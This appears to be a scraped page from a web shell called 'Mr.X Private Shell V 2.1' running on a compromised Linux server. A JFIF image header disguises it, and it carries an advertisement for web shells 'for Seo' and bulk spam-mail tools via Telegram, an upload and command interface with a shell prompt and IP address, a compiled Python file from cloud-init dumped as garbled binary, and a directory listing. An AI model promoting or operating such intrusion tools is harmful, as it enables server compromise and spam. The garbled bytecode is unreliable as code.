����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

'�Dg!�@s$dZddlZddlZddlZddlmZddlmZmZddl	m
Z
z ddlmZm
Z
mZmZdZWneyzdZYn0gd	�Zd#d
d�Zd$dd
�Zd%dd�Zd&dd�Zd'ed�dd�Zdd�Zdd�Zeeefd�dd�Zeeefd�dd�Zeed�Zedd�dd �Zdd�d!d"�Z dS)(zCloud-init apport interface�N)�Dict)�INSTALLER_APPORT_FILES� INSTALLER_APPORT_SENSITIVE_FILES)�is_cloud_init_enabled)�attach_file�attach_file_if_exists�attach_root_command_outputs�root_command_outputTF)%ZAliYunZAltCloudZAkamaizAmazon - Ec2ZAzureZBigstepZ	BrightboxZCloudCIXZ
CloudSigmaZ
CloudStackZDigitalOceanZE24CloudzGCE - Google Compute EnginezHuawei CloudZExoscalez
Hetzner CloudZNWCSz IBM - (aka SoftLayer or BlueMix)ZLXDZMAASZNoCloudZ
OpenNebulaZ	OpenStackZOracleZOVFz'RbxCloud - (HyperOne, Rootbox, Rubikon)ZOpenTelekomCloudzSAP Converged CloudZScalewayZSmartOSZUpCloudZVMwareZVultrZZStackZOutscaleZWSLZOthercCs<t|ddi�gd�}|s$|�d�t|�t|dd�dS)zBAttach cloud-init logs and tarfile from 'cloud-init collect-logs'.zcloud-init-log-warningsz-egrep -i "warn|error" /var/log/cloud-init.log)z
cloud-initzcollect-logsz-t�/tmp/cloud-init-logs.tgzz--redactr
zlogs.tgzN)r�appendr	r)�report�ui�include_sensitiveZcommand�r�4/usr/lib/python3.9/site-packages/cloudinit/apport.py�attach_cloud_init_logsHs��
rcCs$d}|r |�|�r t|ddi�dS)z*Optionally attach hardware info from lshw.z�Your device details (lshw) may be useful to developers when addressing this bug, but gathering it requires admin privileges. Would you like to include this info?zlshw.txtZlshwN)�yesnor)rr
�promptrrr�
attach_hwinfo^s�rcCsTtD] }tj�|j�}t|||j�q|rPtD] }tj�|j�}t|||j�q.dS)a Attach any subiquity installer logs config.

    To support decoupling apport integration from installer config/logs,
    we eventually want to either source this function or APPORT_FILES
    attribute from subiquity  and/or ubuntu-desktop-installer package-hooks
    python modules.
    N)r�os�path�realpathrZlabelr)rr
rZapport_filerrrr�attach_installer_filesisrcCsZtj�d�}t||�tj�|�rV|�dd�|drF|dd7<|dd7<dS)z<Attach ubuntu pro logs and tag if keys present in user-data.z/var/log/ubuntu-advantage.log�Tags�� z
ubuntu-proN)rrrr�exists�
setdefault)rr
rrrr�attach_ubuntu_pro_infozs
r)�returncCs&|sdSd}|�|�}|dur"t�|S)z(Optionally provide user-data if desired.FaQYour user data, cloud-config, network config, or autoinstall files can optionally be provided and could be useful to developers when addressing this bug. However, this data should not be included if it contains any sensitive data such as passwords and secrets. Gathering it requires admin privileges. Would you like to include this info?N)r�
StopIteration)rr
rZresponserrr�can_attach_sensitive�s�
r!cCs�g}|�d�r|�d�|�d�r,|�d�d|��vrR|d}d|vrR|�d�|�d�rf|�d	�|r�|�d
d�|d
r�|d
d7<|d
d�|�7<d
S)z$Add any appropriate tags to the bug.ZCurtinErrorZcurtinZSubiquityLogZ	subiquityZ
JournalErrorszBreaking ordering cyclezsystemd-orderingZUdiLogzubuntu-desktop-installerrrrN)�getr�keysr�join)rZnew_tags�errorsrrr�add_bug_tags�s 






r&cCsNtstd��t||�}t|||�t||�t|||�t||�t|�dS)a-This is an entry point to run cloud-init's package-specific hook

    Distros which want apport support will have a cloud-init package-hook at
    /usr/share/apport/package-hooks/cloud-init.py which defines an add_info
    function and returns the result of cloudinit.apport.add_info(report, ui).
    z;No apport imports discovered. Apport functionality disabledT)�
has_apport�RuntimeErrorr!rrrrr&)rr
rrrr�add_info�s�


r)cCsX|�di��di��d�}|s"iSdddddd	�}i}|��D]\}}||||<q>|S)
NZ	meta_dataZimds�computeZImagePublisherZ
ImageOfferZImageSKUZImageVersionZVMSize)Z	publisherZofferZsku�versionZvmSize�r"�items)�ds_datar*Zname_to_report_mapZ
azure_dataZsrc_keyZreport_key_namerrr�_get_azure_data�s�r/cs@|�di��di��d�}|s"iShd���fdd�|��D�S)NZdynamiczinstance-identity�document>�regionZimageIdZbillingProductsZarchitectureZinstanceTypecsi|]\}}|�vr||�qSrr)�.0�key�value�Zwanted_keysrr�
<dictcomp>�sz!_get_ec2_data.<locals>.<dictcomp>r,)r.r0rr5r�
_get_ec2_data�s�
�r7)ZazureZec2)�platformrcCsJt�|�}|sdS||�}|��D]"\}}|s0q"|||��|��<q"dS)z�Add datasoure specific information from the ds dictionary.

    ds_data contains the "ds" entry from data from
    /run/cloud/instance-data.json.
    N)�PLATFORM_SPECIFIC_INFOr"r-�
capitalize)rr8r.Z
platform_infoZretrieved_datar3r4rrr�add_datasource_specific_info�s
r;cCs�zDt�sWdStdd��}t�|�}Wd�n1s80YWn"tyft���d�YdS0|�d�}|s�t���dt	|�
���dSddd	d
ddd
���D]\}}|�|�}|r�|||<q�t||d|�d��dS)z�Entry point for Apport.

    This hook runs for every apport report

    Add a subset of non-sensitive cloud-init data from
    /run/cloud/instance-data.json that will be helpful for debugging.
    Nz"/run/cloud-init/instance-data.json�rzKcloud-init run data not found on system. Unable to add cloud-specific data.�v1z8instance-data.json lacks 'v1' metadata. Present keys: %sZCloudIDZ	CloudNameZCloudArchitectureZ
CloudPlatformZCloudRegionZCloudSubPlatform)Zcloud_idZ
cloud_name�machiner8r1Zsubplatformr8Zds)
r�open�json�load�FileNotFoundError�loggingZ	getLoggerZwarningr"�sortedr#r-r;)r�_ZfopenZ
instance_datar=r3Z
report_keyr4rrr�general_add_info�s<,�

��

�rF)NF)N)NF)N)N)!�__doc__r@rCr�typingrZcloudinit.cmd.devel.logsrrZcloudinit.cmd.statusrZapport.hookutilsrrrr	r'�ImportErrorZKNOWN_CLOUD_NAMESrrrr�boolr!r&r)�strr/r7r9r;rFrrrr�<module>s0
)






Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 145 B 0644
__init__.cpython-39.pyc File 145 B 0644
apport.cpython-39.opt-1.pyc File 7.09 KB 0644
apport.cpython-39.pyc File 7.09 KB 0644
atomic_helper.cpython-39.opt-1.pyc File 2.82 KB 0644
atomic_helper.cpython-39.pyc File 2.82 KB 0644
cloud.cpython-39.opt-1.pyc File 3.67 KB 0644
cloud.cpython-39.pyc File 3.67 KB 0644
dmi.cpython-39.opt-1.pyc File 6.12 KB 0644
dmi.cpython-39.pyc File 6.12 KB 0644
event.cpython-39.opt-1.pyc File 2.03 KB 0644
event.cpython-39.pyc File 2.03 KB 0644
features.cpython-39.opt-1.pyc File 1.54 KB 0644
features.cpython-39.pyc File 1.54 KB 0644
gpg.cpython-39.opt-1.pyc File 6.72 KB 0644
gpg.cpython-39.pyc File 6.72 KB 0644
helpers.cpython-39.opt-1.pyc File 13.38 KB 0644
helpers.cpython-39.pyc File 13.38 KB 0644
importer.cpython-39.opt-1.pyc File 1.73 KB 0644
importer.cpython-39.pyc File 1.73 KB 0644
lifecycle.cpython-39.opt-1.pyc File 8.1 KB 0644
lifecycle.cpython-39.pyc File 8.1 KB 0644
netinfo.cpython-39.opt-1.pyc File 13.81 KB 0644
netinfo.cpython-39.pyc File 13.81 KB 0644
performance.cpython-39.opt-1.pyc File 3.56 KB 0644
performance.cpython-39.pyc File 3.56 KB 0644
persistence.cpython-39.opt-1.pyc File 2.87 KB 0644
persistence.cpython-39.pyc File 2.87 KB 0644
registry.cpython-39.opt-1.pyc File 1.44 KB 0644
registry.cpython-39.pyc File 1.44 KB 0644
safeyaml.cpython-39.opt-1.pyc File 7.7 KB 0644
safeyaml.cpython-39.pyc File 7.7 KB 0644
settings.cpython-39.opt-1.pyc File 1.17 KB 0644
settings.cpython-39.pyc File 1.17 KB 0644
signal_handler.cpython-39.opt-1.pyc File 1.62 KB 0644
signal_handler.cpython-39.pyc File 1.62 KB 0644
simpletable.cpython-39.opt-1.pyc File 2.61 KB 0644
simpletable.cpython-39.pyc File 2.61 KB 0644
socket.cpython-39.opt-1.pyc File 4.61 KB 0644
socket.cpython-39.pyc File 4.61 KB 0644
ssh_util.cpython-39.opt-1.pyc File 15.38 KB 0644
ssh_util.cpython-39.pyc File 15.38 KB 0644
stages.cpython-39.opt-1.pyc File 26.88 KB 0644
stages.cpython-39.pyc File 26.88 KB 0644
subp.cpython-39.opt-1.pyc File 9.69 KB 0644
subp.cpython-39.pyc File 9.69 KB 0644
temp_utils.cpython-39.opt-1.pyc File 2.79 KB 0644
temp_utils.cpython-39.pyc File 2.79 KB 0644
templater.cpython-39.opt-1.pyc File 6.26 KB 0644
templater.cpython-39.pyc File 6.26 KB 0644
type_utils.cpython-39.opt-1.pyc File 475 B 0644
type_utils.cpython-39.pyc File 475 B 0644
url_helper.cpython-39.opt-1.pyc File 26.22 KB 0644
url_helper.cpython-39.pyc File 26.22 KB 0644
user_data.cpython-39.opt-1.pyc File 8.3 KB 0644
user_data.cpython-39.pyc File 8.3 KB 0644
util.cpython-39.opt-1.pyc File 69.77 KB 0644
util.cpython-39.pyc File 69.77 KB 0644
version.cpython-39.opt-1.pyc File 466 B 0644
version.cpython-39.pyc File 466 B 0644
warnings.cpython-39.opt-1.pyc File 3.28 KB 0644
warnings.cpython-39.pyc File 3.28 KB 0644